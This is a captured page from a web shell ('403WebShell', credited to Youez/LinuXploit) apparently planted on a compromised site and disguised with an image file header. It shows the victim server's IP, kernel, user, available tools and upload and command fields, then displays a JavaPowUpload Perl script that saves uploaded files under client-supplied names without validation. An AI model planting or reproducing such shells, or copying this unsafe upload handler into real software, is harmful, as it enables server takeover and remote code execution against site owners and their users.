????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 216.73.216.48
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/www.notes-online.se/login/JavaPowUpload/FileProcessingScripts/PERL/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /var/www/www.notes-online.se/login/JavaPowUpload/FileProcessingScripts/PERL/uploadfiles.pl
#!/usr/bin/perl -w

#JavaPowUpload builtin log area supports only limited count of HTML tags. You can find list here
#http://java.sun.com/j2se/1.4.2/docs/api/javax/swing/text/html/HTML.Tag.html

	use CGI;
	use File::Basename;
	use Encode;


	$query = new CGI;
	my $target_encoding = "ISO-8859-1";
	my $i = 0;
	my $j = 0;

	print $query->header ( );	
	print "<html><head><title></title></head><body>";

	print "Upload result:<br>"; 

	$upload_dir = dirname($ENV{'PATH_TRANSLATED'})."/UploadedFiles/";
	@names = $query->param;
	foreach $param (@names) {
		my $filename = $query->param($param);
		$filename =~ s/.*[\/\\](.*)/$1/;
		$filename = encode($target_encoding, decode_utf8($filename));
		my $upload_filehandle = $query->upload($param);

		if(defined($upload_filehandle))
		{

			open UPLOADFILE, ">$upload_dir\\$filename";
			binmode UPLOADFILE;
			while ( <$upload_filehandle> )
			{
			 print UPLOADFILE;
			}
			close UPLOADFILE;
			
			if(($param cmp ("FileBody_".$i)) == 0)
			{
				print "file \"$filename\" uploaded sucessfully<br>" ;
				print "FilePath: ".$query->param("FilePath_".$i)."<br>";
				print "RealFilePath: ".$query->param("RealFilePath_".$i)."<br>";
				print "FileSize: ".$query->param("FileSize_".$i)."<br>";
				print "FileLastModified: ".$query->param("FileLastModified_".$i)."<br>";
				print "FileIndex: ".$query->param("FileIndex_".$i)."<br>";
				print "FileMD5: ".$query->param("FileMD5_".$i)."<br><br>";
				$i+=1;
			}
			if(($param cmp ("ThumbnailBody_".$j)) == 0)
			{
				print "Thumbnail \"$filename\" uploaded sucessfully<br>" ;
				print "ThumbnailPath: ".$query->param("ThumbnailPath_".$j)."<br>";
				print "ThumbnailRealFilePath: ".$query->param("ThumbnailRealFilePath_".$j)."<br>";
				print "ThumbnailFileSize: ".$query->param("ThumbnailFileSize_".$j)."<br>";				
				print "ThumbnailFileIndex: ".$query->param("ThumbnailFileIndex_".$j)."<br>";
				print "ThumbnailFileMD5: ".$query->param("ThumbnailFileMD5_".$j)."<br>";				
				print "Url to thumbnail: ".dirname($ENV{'PATH_INFO'})."/UploadedFiles/".$filename."<br><br>";
				$j+=1;
			}

			print "<br>";

		}
	}
	

	print "<br>";
	print "</body></html>";

Youez - 2016 - github.com/yon3zu
LinuXploit